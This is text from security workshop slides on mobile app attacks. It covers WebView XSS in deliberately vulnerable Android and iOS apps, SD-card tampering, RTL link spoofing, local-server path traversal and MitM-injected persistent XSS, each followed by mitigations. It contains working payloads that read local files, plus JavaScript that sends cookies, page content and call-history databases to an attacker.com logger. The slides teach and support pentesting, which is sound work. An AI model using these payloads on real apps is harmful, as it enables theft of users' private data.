Practical Mobile App Attack

Practical Mobile App Attacks
by Example
Presented by : Abraham Aranguren
Free 4h Workshop Access (vuln apps, slides, recording):
https://7asecurity.com/free
> [email protected]
BSides Dublin, Ireland
> @7asecurity March 19th, 2022
> @7a_
> @owtfp [ OWASP OWTF - owtf.org ]
+ 7asecurity.com
Who am I?
★ CEO at 7ASecurity, pentests & security training
public reports, presentations, etc.: https://7asecurity.com/publications
★ Co-Author of Mobile, Web and Desktop (Electron) app 7ASecurity courses:
https://7asecurity.com/training
★ Security Trainer at Blackhat USA, HITB, OWASP Global AppSec, LASCON,
44Con, HackFest, Nullcon, SEC-T, DeepSec, etc.
★ Former Team Lead & Penetration Tester at Cure53 and Version 1
★ Author of Practical Web Defense: www.elearnsecurity.com/PWD
★ Founder and leader of OWASP OWTF, and OWASP flagship project: owtf.org
★ Some presentations: www.slideshare.net/abrahamaranguren/presentations
★ Some sec certs: CISSP, OSCP, GWEB, OSWP, CPTS, CEH, MCSE: Security,
MCSA: Security, Security+
★ Some dev certs: ZCE PHP 5, ZCE PHP 4, Oracle PL/SQL Developer Certified
Associate, MySQL 5 CMDev, MCTS SQL Server 2005
Public Mobile Pentest Reports - I
Smart Sheriff mobile app mandated by the South Korean government:
Public Pentest Reports:
→ Smart Sheriff: Round #1 - https://7asecurity.com/reports/pentest-report_smartsheriff.pdf
→ Smart Sheriff: Round #2 - https://7asecurity.com/reports/pentest-report_smartsheriff-2.pdf
Presentation:“Smart Sheriff, Dumb Idea, the wild west of government assisted parenting”
Slides:https://www.slideshare.net/abrahamaranguren/smart-sheriff-dumb-idea-the-wild-west-of-government-assisted-parenting
Video: https://www.youtube.com/watch?v=AbGX67CuVBQ
Chinese Police Apps Pentest Reports:

→ "BXAQ" (OTF) 03.2019 - https://7asecurity.com/reports/analysis-report_bxaq.pdf
→ "IJOP" (HRW) 12.2018 - https://7asecurity.com/reports/analysis-report_ijop.pdf
→ "Study the Great Nation" 09.2019 - https://7asecurity.com/reports/analysis-report_sgn.pdf
Presentation: “Chinese Police and CloudPets”
Slides: https://www.slideshare.net/abrahamaranguren/chinese-police-and-cloud-pets
Video: https://www.youtube.com/watch?v=kuJJ1Jjwn50
Public Mobile Pentest Reports - II
Other reports:
→ Exodus iOS Mobile App - https://7asecurity.com/reports/pentest-report_exodus.pdf
→ imToken Wallet - https://7asecurity.com/reports/pentest-report_imtoken.pdf
→ Whistler Apps - https://7asecurity.com/reports/pentest-report_whistler.pdf
→ Psiphon - https://7asecurity.com/reports/pentest-report_psiphon.pdf
→ Briar - https://7asecurity.com/reports/pentest-report_briar.pdf
→ Padlock - https://7asecurity.com/reports/pentest-report_padlock.pdf
→ Peerio - https://7asecurity.com/reports/pentest-report_peerio.pdf
→ OpenKeyChain - https://7asecurity.com/reports/pentest-report_openkeychain.pdf
→ F-Droid / Baazar - https://7asecurity.com/reports/pentest-report_fdroid.pdf
→ Onion Browser - https://7asecurity.com/reports/pentest-report_onion-browser.pdf
More here:
https://7asecurity.com/publications
Agenda
Practical walkthrough about interesting mobile app attacks found over the years:
• XSS in mobile apps?
• Mobile apps with Local Servers!?
• What can go wrong with Deeplinks?
• Deeplink → SQLi → RCE!!?
• Tails of Crypto FAIL
• Mobile API pwnage
• And more :)
Source: http://www.quickmeme.com/meme/353ljq
WebViews & Data Exfiltration:
Android
WebViews & Data Exfiltration: Android
Introduction to WebViews
A WebView in Android is a native Android object that acts like a miniature web browser
which can load web content like HTML and JavaScript within the context of an Android
activity. WebViews are useful when you need to have extensive control over the web
content being loaded.
Interesting WebView properties
1. WebViews can have as many permissions as the app that includes it.
2. They can be explicitly enabled to execute JavaScript
3. They can load local as well as remote web content
4. Native Android functions can sometimes be accessed from WebViews with the
help of JavaScript, via Javascript Interfaces
https://developer.android.com/reference/android/webkit/JavascriptInterface
Attacking Android WebViews
In the earlier section, we understood that WebViews are miniature web browsers. This
means that they can be susceptible to the security issues that affect normal browsers.
Some of the common attacks include:
● HTML Injection → could be useful for phishing: fake login page

● XSS → change the page, invoke functionality from JavaScript, etc.
● Data exfiltration of local files (depending on security context & webview settings)
● Possibly User Impersonation using CSRF via XSS (depending on the application)
XSS & Data Exfiltration in Android
Introduction to AndroGoat
AndroGoat is a vulnerable Android application written in Kotlin with many vulnerabilities relating to
various Android components like WebViews, storage issues etc. It is an open source project.
Official Project URL:

https://github.com/satishpatnayak/AndroGoat
In this lab, we will use a modified version to illustrate interesting data exfiltration techniques that
we have used in real penetration tests, therefore please use the build from the training portal
instead:
https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/AndroGoat_Improved.apk
Preliminaries: Creating Some Data Files

As we want to exfiltrate data, we need to create it first, go to the “Insecure Data Storage” menu:
Fig.: Going to the “Insecure Data Storage” area

From this section, let’s do the following:
Task 1 - Create a Shared Preferences File
Go to “Shared Preferences - Part 1” and enter some username and password like
mysecretuser / mypassword, and then tap on “Save”:
Fig.: Creating a shared preferences file with user credentials

Task 2 - Create a SQLite Database File
Go to “SQLite” and enter some username and password like mysecretuser /

mypassword, and then tap on “Save”:
Fig.: Creating a SQLite file with user credentials

XSS in WebView
Step 1: Navigate to the Input Validation - XSS exercise
NOTE: If you have done this lab before, don’t forget to delete the SD Card HTML file
/mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html
Click on “Input Validations” and then “Input Validations XSS”:

Fig.: Navigating to the XSS Exercise

Step 2: Confirming the XSS vulnerability
There are two inputs available here: one for internal storage and the other for external
storage. Before we get to identifying the difference between these two, let us try various
inputs to check for XSS in both these input fields.
Checking for HTML injection:

Trying some HTML like <h1> will result in much bigger letters, suggesting that HTML
Injection is possible:
Payload:
<h1>hello</h1>
Resulting behavior:
Fig.: Confirming the HTML Injection issue

Checking for XSS:
The next step is to check if JavaScript executes.
Payloads:
<img src=x onerror=alert(1)>
<script>alert(1)</script>
Attempting these payloads confirms the HTML injection can also be used to execute
JavaScript:
Fig.: Confirming the XSS vulnerability

Confirming Execution Context
Once we know the application is vulnerable to XSS, we can go ahead and figure out
what the JavaScript execution context is. A quick way to figure this out is to alert the
location of the page:
Payloads:
<script>alert(location)</script>
Attempting this payload reveals the security context for the internal and external storage
XSS vulnerabilities, in both cases it is file://, a privileged context perfect to steal data:
Fig.: Determining JavaScript execution context

From the above screenshots, we have alerted the location of the file and we can clearly
see that the source file is loaded from two different storage locations for the two input
fields:
● Internal storage: /data/data/owasp.sat.agoat/app_webdata/xss.html

● External storage: /mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html
This means that the application has access to both the storage contexts. As we had
discussed earlier, the webview has as much access as the application.
Data Exfiltration via XSS - Figuring out File Paths
To exfiltrate data, first we need to know the file path of the files that we want to steal.
Case 1: Root Access
If we have root access to the phone, we simply ssh or adb shell to the phone and run the
find command:
Commands:
adb shell
root@vbox86p:/ # cd /data/data/owasp.sat.agoat
root@vbox86p:/data/data/owasp.sat.agoat # find .
.
[...]
./shared_prefs/users.xml
./shared_prefs/WebViewChromiumPrefs.xml
./databases
./databases/aGoat
./databases/aGoat-journal
Data Exfiltration via XSS - Stealing App Files
Payloads:
<script>a=new XMLHttpRequest();a.open('GET',
'file:///data/data/owasp.sat.agoat/shared_prefs/users.xml',false);a.send();alert(a.
responseText);</script>
'file:///data/data/owasp.sat.agoat/databases/aGoat',false);a.send();alert(a.respons
eText);</script>
If you try the above payloads you will see how with the XSS we are able to read those
files and therefore could also forward them to an attacker, hence proving that data
exfiltration is possible:
Fig.: Stealing local data files that belong to the victim app
Data Exfiltration via XSS - Stealing System & Third Party App Files
Please note that this issue is not limited to only the affected app, it is also possible to
read some system files, as well as files from apps that allow reading certain files from
their local storage. Of course, if the app has SD Card access, any SD Card file can also
be read, including SD Card files from other apps.
Assuming you have the Drozer Agent App installed on the phone you are testing with,
the following examples will work:
Payloads:
<script>a=new
XMLHttpRequest();a.open("GET","file:///system/etc/custom.conf",false);a.send();aler
t(a.responseText);</script>
<script>a=new XMLHttpRequest();a.open("GET",
"file:///data/data/com.mwr.dz/lib/libmstring.so",
false);a.send();alert(a.responseText);</script>
NOTE: You may also be able to read other interesting phone paths such as
/system/build.prop depending on the device used for testing.
The above payloads read a system file (/system/...) as well as a file from a third party
app, which has permissions that allow other apps to read it (/data/data/com.mwr.dz/...),
using the above payloads result in the following:
Fig.: Data retrieval from system and other apps

XSS & Data Exfiltration Summary Analysis
So, as we have seen, with XSS we can exfiltrate:

1. Application data files, from the vulnerable app
2. System files, as long as they have permissions that allow other apps to read it
3. Files from other apps, as long as they have permissions that allow this
4. Any SD Card file, the location needs to be known, the victim app needs read
access to the SD Card.
Methodology-wise you are looking to answer the following questions:

Question Payload Result
Can we also run arbitrary <img src=x onerror=alert(1)> Yes!

JavaScript?
If so, under what context is <script>alert(location)</script> Context: file://

JavaScript executed? Privileged Context:
Not protected with the Sa
me Origin Policy = we can read
local files!
If XSS from a privileged <script>a=new Yes! We can read app files,

context, can we read phone XMLHttpRequest();a.open('GET', internal device files and also
files and send them to the 'file:///data/data/owasp.sat.agoa files from other apps!
attacker? t/shared_prefs/users.xml',false);
a.send();alert(a.responseText);</
script>
OR
<script>a=new
XMLHttpRequest();a.open('GET',
'file:///data/data/owasp.sat.agoa
t/databases/aGoat',false);a.send(
);alert(a.responseText);</script>
XSS via SD Card Manipulation
As you recall earlier, one of the files is stored in “External Storage”, which is Android
speak for “the SD Card”, this means that any application that can write to the SD Card
can modify that HTML file and achieve XSS even without any XSS on the application
itself (!).
To illustrate this, we need to know: Where in the SD Card is this HTML file?
We can answer this question with the previous alert(location):
Payload:
<script>alert(location)</script>
Fig.: Confirming SD Card location

Another way would be to use the command line:
Command:
adb shell
begonia:/ $ find /mnt/sdcard/Android/data/owasp.sat.agoat/
Output:
/mnt/sdcard/Android/data/owasp.sat.agoat/
/mnt/sdcard/Android/data/owasp.sat.agoat/files
/mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html
Once we know the location, we can pull this file and change it, to simulate a malicious
application on the phone (i.e. with SD Card access) doing the same thing:
Command:
adb pull /mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html
Output:
/mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html: 1 file pulled. 0.1
MB/s (420 bytes in 0.004s)
We can now edit the file and add any XSS payload we want, for example:
File:
xss_ext.html
Code:
<html>
<body>
<h2>External Storage</h2>
<script>
function displayContent(){
var a=document.getElementById("name");
document.write(a.value);
}
</script>
Name: <input type="text" id="name"/>

</br></br>
<input type="button" value="Display" onclick="displayContent()"
style="background-color:black; color:white; border: 2px solid #000000"/>
'file:///data/data/owasp.sat.agoat/shared_prefs/users.xml',false);a.send();alert(a.
responseText);</script>
</body>
</html>
After that change, we can push the file again to see what happens:
Command:
adb push xss_ext.html /mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html
Output:
xss_ext.html: 1 file pushed. 0.0 MB/s (573 bytes in 0.019s)
Fig.: Still able to trigger the XSS even without XSS!

Root Cause Analysis
Upload the app to MobSF for analysis.
Figure out the relevant upload directory, i.e. most recent upload, by sorting by time via -t
Command:
ls -lt /root/.MobSF/uploads/
Output:
total 12
drwxr-xr-x 9 root root 4096 Jun 26 10:47 6da48a9c83c2d48667c458babe2709c5
drwxr-xr-x 14 root root 4096 May 30 09:41 894c2a1c396398d29e712438a71be55a
drwxr-xr-x 13 root root 4096 May 30 07:19 43084088cf86b8479ea321043b48e982
Now copy the upload locally, for example:

Commands:
mkdir -p /root/labs/lab3/xss
cd /root/labs/lab3/xss
cp -r /root/.MobSF/uploads/6da48a9c83c2d48667c458babe2709c5 decompiled
Now we need to find the code for this, based on what is displayed on the page we could
search for “External Storage” and see what happens:
Command:
grep -Ir 'External Storage'
Output:
apktool_out/res/values/strings.xml: 1. What is External Storage?
apktool_out/res/values/strings.xml: <string name="sdCard">External Storage -
SDCard</string>
apktool_out/assets/xss_ext.html:<h2>External Storage</h2>
assets/xss_ext.html:<h2>External Storage</h2>
XSS & Data Exfiltration in Android: Spot the Vuln?
It seems that xss_ext.html could be an interesting file to look at:

Can you see the vulnerability?
File:
xss_ext.html
Code:
<html>
<body>
<script>
}
</script>
</br></br>
</body>
</html>
Solution on the next page, but try to find the vulnerability first! :)
XSS & Data Exfiltration in Android: Solution
File:
xss_ext.html
Code:
<html>
<body>
<script>
}
</script>

</html>
</br></br>
</body>
As you can see we have a DOM XSS vulnerability, the value of the “name” input field is
assigned to a DOM XSS sink: document.write.
This explains why the XSS exists, but we must now go deeper to explain why file access
and data exfiltration is possible.
Since we know the name of the HTML file we just found, we could search for it in the
sources:
Command:
grep -Ir 'xss_ext.html' *
Output:
owasp/sat/agoat/XSSActivity.java: File myExternalFile = new
File(getExternalFilesDir(""), "xss_ext.html");
owasp/sat/agoat/XSSActivity.java: InputStream stream =
getAssets().open("xss_ext.html");
[...]
Affected File:
owasp/sat/agoat/XSSActivity.java
Affected Code:
Intrinsics.checkExpressionValueIsNotNull(webSettings1, "webSettings1");
webSettings1.setJavaScriptEnabled(true);
webSettings1.setAllowUniversalAccessFromFileURLs(true);
webSettings1.setAllowFileAccessFromFileURLs(true);
webSettings1.setAllowFileAccess(true);
webSettings1.setAllowContentAccess(true);
webSettings1.setJavaScriptCanOpenWindowsAutomatically(true);
webSettings1.setDomStorageEnabled(true);
webSettings1.setLoadWithOverviewMode(true);
webSettings1.supportMultipleWindows();
Intrinsics.checkExpressionValueIsNotNull(webSettings2, "webSettings2");
webSettings2.setJavaScriptEnabled(true);
webSettings2.setAllowUniversalAccessFromFileURLs(true);
webSettings2.setAllowFileAccessFromFileURLs(true);
webSettings2.setAllowFileAccess(true);
webSettings2.setAllowContentAccess(true);
webSettings2.setJavaScriptCanOpenWindowsAutomatically(true);
webSettings2.setDomStorageEnabled(true);
webSettings2.setLoadWithOverviewMode(true);
webSettings2.supportMultipleWindows();
this.thefile = String.valueOf(LoadDataint());
[...]
this.thefullfileurl = "file://" + this.theintfileurl;
webview1.loadUrl(this.thefullfileurl);
this.thefullextfileurl = "file://" + this.theextfileurl;
webview2.loadUrl(this.thefullextfileurl);
As you can see a number of insecure settings related to file access have been enabled
and the webviews are loaded from a file:// context.
Mitigation Recommendations:
To resolve issues like this, it is important to apply as many of the following

countermeasures as deemed feasible by the development team:
1. Where possible favor TextViews over WebViews, XSS is not possible on
TextViews.
2. If you must use Webviews, disable as many settings as possible, especially
JavaScript, all file access options and any other not strictly required functionality.
Leave the minimum settings possible for the application to work.
3. Output encode user input prior to rendering it in any Webview
4. Avoid DOM XSS sinks as much as possible, otherwise sanitize user input prior to
assigning it to a DOM XSS sink (i.e. innerHTML, location, href, etc.)
For additional mitigation guidance, please see the OWASP XSS Prevention Cheat Sheet
https://cheatsheetseries.owasp.org/.../Cross_Site_Scripting_Prevention_Cheat_Sheet.html
DEMO: XSS & Data Exfiltration in Android
Attacking WebViews & Data
Exfiltration: iOS
Source: https://miro.medium.com/max/522/1*jF7QmwWgXlKb0qwvFOspYA.gif
Attacking WebViews & Data Exfiltration in iOS
UIWebViews in iOS allow apps to include a webview that can render HTML code. If user
input is not output encoded correctly, attackers can take advantage of this to execute
arbitrary JavaScript or render malicious HTML in the security context of the app.
Open DVIA-v2 and navigate to ‘Webview Issues’ from the menu, then click on “Start
Challenge”:
Fig.: Starting Webview issues challenge

Enter some text (i.e. “hello”) in the top text box and hit enter. Notice how the string you
entered (i.e. “hello”) is part of the text rendered in the text area below:
Fig: WebView in iOS app

Given that we are inside a webview, let’s try some HTML tags and see if it they are
output encoded correctly or not:
Input:
<h1>Hello</h1>
Output:
Fig: WebView in iOS app

This confirms that we have HTML injection, now we can progress with additional
payloads to answer the following questions:
1. Can we also run arbitrary JavaScript?
2. If so, under what context is JavaScript executed?
3. If XSS from a privileged context, can we read phone files and send them to the
attacker?
XSS Payloads:
<img src=x onerror=alert(1)>
<svg/onload=alert(location)>
<script>a = new
XMLHttpRequest();a.open('GET','file:///private/var/wireless/Library/Databases/DataU
sage.sqlite',false);a.send();alert(a.responseText);</script>
<script>a = new
XMLHttpRequest();a.open('GET','file:///private/var/wireless/Library/Databases/Cellu
larUsage.db',false);a.send();alert(a.responseText);</script>
Fig.: XSS from a privileged context (applewebdata://) results

in data exfiltration
To summarize:
Can we also run arbitrary <img src=x onerror=alert(1)> Yes!

JavaScript?
If so, under what context is <svg/onload=alert(location)> Context: applewebdata://

JavaScript executed? Privileged Context:
Not protected with the Sa
me Origin Policy = we can read
local files!
If XSS from a privileged <script>a = new Yes! We can read the phone
context, can we read phone XMLHttpRequest();a.open('GET','f history
files and send them to the ile:///private/var/wireless/Libr
attacker? ary/Databases/DataUsage.sqlite',
false);a.send();alert(a.response
Text);</script>
OR
<script>a = new
XMLHttpRequest();a.open('GET','f
ile:///private/var/wireless/Libr
ary/Databases/CellularUsage.db',
false);a.send();alert(a.response
Text);</script>
Root Cause Analysis
Where is the problem? A possible way to find out is to narrow down our search to the
locations of the source code where WKWebViews and UIWebViews might be used, this
can be accomplished with the following command:
Command:
egrep -r "(WKWebView|UIWebView)" * | grep '.swift:'
Output:
Vulnerabilities/Client Side
Injection/Controller/ClientSideInjectionDetailViewController.swift: @IBOutlet
var webView: UIWebView!
Vulnerabilities/Donate/Controller/DonateDetailsViewController.swift: var
webView: WKWebView!
As we can see in the vulnerable code, user input is concatenated into a string without
prior sanitization. Further, the webView URL baseURL is set to nil, which means that the
WebView will run with higher privileges, hence enabling data exfiltration from the phone.
Please note that this issue is in part possible due to the fact that
WebKitAllowUniversalAccessFromFileURLs and
WebKitAllowFileAccessFromFileURLs are turned on by default on UIWebView
(disabled by default on WKWebView). It is possible to turn these off manually on
UIWebView, however, output encoding user input prior to the concatenation and for
turning off JavaScript entirely the UIWebView needs to be replaced by the newer and
safer WKWebView.
https://www.allysonomalley.com/2018/12/03/ios-bug-hunting-web-view-xss/
https://developer.apple.com/documentation/uikit/uiwebview
https://developer.apple.com/documentation/webkit/wkwebview
https://stackoverflow.com/questions/48835813/can-i-disable-js-in-a-uiwebview-objective-c
https://stackoverflow.com/questions/33828064/ios-web-view-javascript-disable?lq=1
Source: https://me.me/i/yo-dawgiheard-youlike-concatenate-soiconcatenated-concatenatewithconcatenate-meme-creator-funny-0f56cfdadaf04b109ac5fc84975b56fd
DEMO: Attacking WebViews & Data Exfiltration in iOS
Episode: Sexy attacks using the SD Card
SD Card 101:
→ Many apps can read & write
→ Can be extracted without unlocking the phone
→ No encryption
Source: https://cultureandcognitionreadinggroup.files.wordpress.com/2017/11/memory_2183425.jpg
Scenario: Saving sensitive stuff in the SD Card
Whistleblower app saving reports in SD Card
SQLite databases in SD Card, but also human right violation reports with PII:
Command:
adb shell cat /mnt/sdcard/some/path/human_right_violation_report.xml
Output:
<?xml version='1.0' ?><HumanRightViolation>
[...]<start>2019-04-17T11:46:08.368Z</start>
[...]<end>2019-04-17T11:58:43.572Z</end>
[...]<today>2019-04-17</today>
<device_id>xxxxxxxxx</device_id>
<sim_imei>xxxxxxxxx</sim_imei>
<phone_number>xxxxxx</phone_number>
<event><title>xxxxxx title</title>
[...]
Whistleblower app saving reports in SD Card
<first_name>first xxxxxx</first_name>
<last_name>last xxxxxx</last_name>
<alias>Nick xxxxxx</alias>
<age>20</age>
<gender>male</gender>
<marital_status>single</marital _status>
<address>xxxxxx address</address>
<affiliation>13</affiliation>
<is_victim>yes</is_victim>
<number_of_dependants/>
[...]
Scenario: Text files loaded from SD Card
Question: What is the vulnerability?
→ Text files loaded from SD Card
→ Text file content embedded into HTML later
Code:
$.ajax({
url: "Chapter.txt",
[...]
success: function(data, theStatus) { },
[...]
var pageData = convertText(data);
[...]
("#some_id").append('<div id="chapter' + i + '" [...]">
<p>' + pageData + '</p></div>')
Solution: pXSS + data exfiltration
Flow:
1. Loaded from SD Card
2. Stored in variable
3. Concatenated into HTML = XSS
Code:
$.ajax({
url: "Chapter.txt", ← Loaded from SD Card
[...]
success: function(data, theStatus) { },
[...]
var pageData = convertText(data); ← Stored in variable
[...]
("#some_id").append('<div id="chapter' + i + '" [...]">
<p>' + pageData + '</p></div>') ← concatenated into HTML = XSS
Attack: pXSS + data exfiltration
Need to encode payloads? Check https://hackvertor.co.uk/
NOTE: Now also a Burp extension! Both by Gareth Heyes :)
Hackvertor IN:
<script><@eval_fromCharCode_0>xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET",
"file://////data/data/some.vuln.app/databases/webview.db", false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
alert(ret);<@/eval_fromCharCode_0></script>
Hackvertor OUT:
<script>eval(String.fromCharCode(120,109[...]</script>
Attack: pXSS + data exfiltration (cont.)
Fix: SDCard leaks & pXSS + data exfiltration
→ Avoid saving sensitive information in the SD Card
→ Avoid loading HTML from unsafe locations i.e. SD Card
→ Output encode input before concatenating into HTML
→ Disable JavaScript:
Proposed Fix:
webview.getSettings().setJavaScriptEnabled(false);
If must use SD Card:

→ Hash cached files, save hashes in protected storage, re-download tampered
files.
→ Consider encrypting files, key the decryption key in protected storage (i.e.
Android KeyStore)
NOTE: Android KeyStore = hardware-backed security enclave ideal to store secrets
(In iOS, the equivalent is the iOS Keychain)
Source: https://www.burnssheehan.co.uk/storage/images/it-security-meme.gif
Episode: Spoofing Attacks
Scenario: Show URL1, Click goes to URL2
Attack: Unicode RTL/LTR characters
RTL = Right To Left
LTR = Left to Right
1. Send link: ‮ moc.evil.org

2. Victim sees: gro.live.com
3. Victim clicks + navigates to: moc.evil.org
Usually used against:

1. Email apps, Chat apps
Used in the wild:

https://krebsonsecurity.com/2011/09/right-to-left-override-aids-email-attacks/
Episode: Sexy Local Server Attacks
Scenario: Cordova iOS app
→ Cordova app
→ Uses plugin that runs a local server
Attack: Path Traversal without auth
PoC
<html>
<body>
<p>Show /etc/passwd:</p>
<iframe id="if" width=100% height=25%
src="http://localhost:53741/..%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd "><
/iframe>
<p>List files at the app www directory level:</p>
<iframe id="if" width=100% height=25% src="http://localhost:53741/"></iframe>
<p>List files at app level:</p>
<iframe id="if" width=100% height=25%
src="http://localhost:53741/..%2F"></iframe>
</body>
</html>
Attack: Path Traversal without auth (cont)
Attack: Path Traversal without auth (cont)
Dumping all files:
Commands:
for i in $(cat data_files_relative.txt); do
wget "http://127.0.0.1:53741/$i" > wget_output.txt 2> wget_errors.txt
done
grep 'Saving to' wget_errors.txt -B 4 | grep http | cut -f4 -d" "
Output:
http://127.0.0.1:53741/Library/Caches/com.apple.WebKit.WebContent/com.apple.ope
ngl/compileCache.data
[...]
Fix: Path Traversal without auth
→ Do not implement local servers unless truly needed
→ If needed, at least require authentication (i.e. malicious apps can’t call it)
→ Validate URL with appropriate access control and path traversal mitigation
Scenario: More Clear-text HTTP (iOS)
1. App requests + caches CSS file from server:
http://some.site.com/app/css/mobileapp.css
2. Subsequent requests check If-Modified-Since:
Server always replies with:
HTTP/1.1 304 Not Modified
3. CSS added into every article rendered like this:

NSString *returnString = [NSString stringWithFormat:@"<html><head><style>%@ %@%@</s
tyle></head><body style='[...]%@'><div
id='mainDiv'>%@ </div></body></html>", localFontPointer, serverProvidedCss!=nil?
serverProvidedCss:@"",
Solution: The vulnerability :)
1. App requests + caches CSS file from server:
http://some.site.com/app/css/mobileapp.css ← clear-text HTTP = MitM can
modify
2. Subsequent requests check If-Modified-Since: ← Makes the attack persistent
Server always replies with:
HTTP/1.1 304 Not Modified
3. CSS added into every article rendered like this: ← Contents added to HTML
NSString *returnString = [NSString stringWithFormat:@"<html><head><style>%@ %@%@</s
tyle></head><body style='[...]%@'><div
id='mainDiv'>%@ </div></body></html>", localFontPointer, serverProvidedCss!=nil?
serverProvidedCss:@"",
Attack: Permanent XSS
Attacker supplies CSS file via clear-text MitM:
a { [...] } [...] </style><script src="https://attacker.com/pwn_css.js"></script><style>
The XSS payload will be executed every time the user reads an article!
Attack: Permanent XSS - log user activity
URL:
https://attacker.com/pwn_css.js
Contents:
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
xmlhttp=request;
function sendit() {
try {
var url = "https://attacker.com/logger.php?c="
+encodeURIComponent(document.cookie)+
"&u="+encodeURIComponent(document.location)+
Attack: Permanent XSS - log user activity (cont)
"&t="+encodeURIComponent(document.title)+
"&h="
var html_str = encodeURIComponent(document.body.innerHTML);
html_str = html_str.substr(0,8190 - url.length);
url += html_str;
xmlhttp.open("GET", url, false);
xmlhttp.send(null);
}
catch (e) {
alert('Error! ' + e);
}
}
setTimeout('sendit()', 1000);
Attack: Permanent XSS - log user activity
The attacker logger receives all news items seen by the user:
IP: x.x.x.x
User Agent: Mozilla/5.0 (iPhone; CPU iPhone OS [...]
Cookies: [...]
URL: http://some.site.com/
HTML: <div id="mainDiv"><p>Some news [...]</p>
Attack: Data Exfiltration via XSS (call history)
Favorited articles are rendered from file://
request = new XMLHttpRequest();

if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
xmlhttp=request;
function readit() {
if (location.protocol != "file:") {
alert("location.protocol (" + location.protocol + ") is not file:,
skipping file reading attempts");
return;
}
try {
var sensitive_files = [
'/private/var/wireless/Library/CallHistory/call_history.db',
'/private/var/wireless/Library/Databases/CellularUsage.db'
];
for (var i in sensitive_files) {
try {
xmlhttp.open("GET", "file://" + sensitive_files[i], false);
xmlhttp.send(null);
alert('Got DB: ' + sensitive_files[i] + "\r\n" + ret);
var url = "https://attacker.com/logger.php?c="+encodeURIComponent(
document.cookie)+"&u="+encodeURIComponent(document.location)+
"&t="+encodeURIComponent(sensitive_files[i])+"&h="
var html_str = encodeURIComponent(ret);
html_str = html_str.substr(0,8190 - url.length);
url += html_str;
xmlhttp.open("GET", url, false);
xmlhttp.send(null);
}
catch (e) {
alert(sensitive_files[i] + " - FAILED: " + e);
}
}
}
catch (e) {
alert('failed: ' + e)
}
}
setTimeout('readit()', 1000);
Attack: Data Exfiltration via XSS (app files)
var path = "" + window.location;
var token = path.replace('file:///var/mobile/Applications/',
'').replace('/Documents/Multimedia/', '');
alert('got token: ' + token);
var sensitive_files = [
,
'/private/var/mobile/Applications/'+token+'/Library/Preferences/.some.plist'
[...]
Attack: Data Exfiltration via XSS (app files)
Fix: Permanent XSS + Data Exfiltration
→ Avoid usage of clear-text HTTP to download files
→ Consider Pinning
→ Validate the file from the server (i.e. CSS file is CSS and does not contain HTML
tags)
→ If possible, prior to concatenating strings, output encode (i.e. output encode
HTML characters in CSS files, before merging with HTML)
→ Avoid loading pages with untrusted input from a file:// protocol
→ Favor UITextViews over UIWebViews, where possible
→ Disable JavaScript if possible
→ If JS must be enabled: Consider CSP to limit JavaScript as much as possible
→ Sanitize HTML prior to rendering:
https://github.com/cure53/DOMPurify
Question: Does CSRF exist in mobile apps?
LAB
CHECK
Deep Link attacks achieving user
impersonation
&
Deep Link attacks to bypass
authorization controls
Deep Link Preliminaries
Introduction to Mobile Deep Links
● URIs that can be used to navigate to different parts of an application.

● Available on both Android and iOS platforms.
● Deep Links can have custom schemes.
Example:
LAB
● A social media application registers ‘socialapp://homepage’
● Any click to such link will be automatically directed to this application.
CHECK
Ability to navigate to different activities and pages:
socialapp://profile → to access the profile page within the application

socialapp://profile/profile_pic → to access the profile picture within the profile page
Registering Deep Links in Android
File:
AndroidManifest.xml
Contents:
<activity
android:name="some.app.DeepLinkActivity" >
<intent-filter>
LAB
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="someapp"
android:host="getCreds"
CHECK
android:pathPrefix="/user"/>
</intent-filter>
</activity>
scheme://host/path → someapp://getCreds/user
Case Study: Periscope CSRF via Deep Link
Introduction
Periscope is an application for live video streaming developed and owned by Twitter Inc. It has
50M+ downloads on Google Playstore.
Prerequisite 1: Install the vulnerable version of Periscope
Download and install this Periscope APK:

LAB
https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/periscope_1.25.5.93.apk
CHECK
Note: Any version of Periscope will not work with this PoC. So, make sure to download the APK
version provided here.
https://www.pscp.tv/
https://play.google.com/store/apps/details?id=tv.periscope.android&hl=en
Prerequisite 2: Create a Periscope account
If you don’t have a Periscope account, you will need to create one, for example, using
your Android Device, and then choose one of the user account creation methods:
LAB
CHECK
Fig.: Creating a Periscope account

Issue
There was a Cross Site Request Forgery vulnerability in the flow of the application:
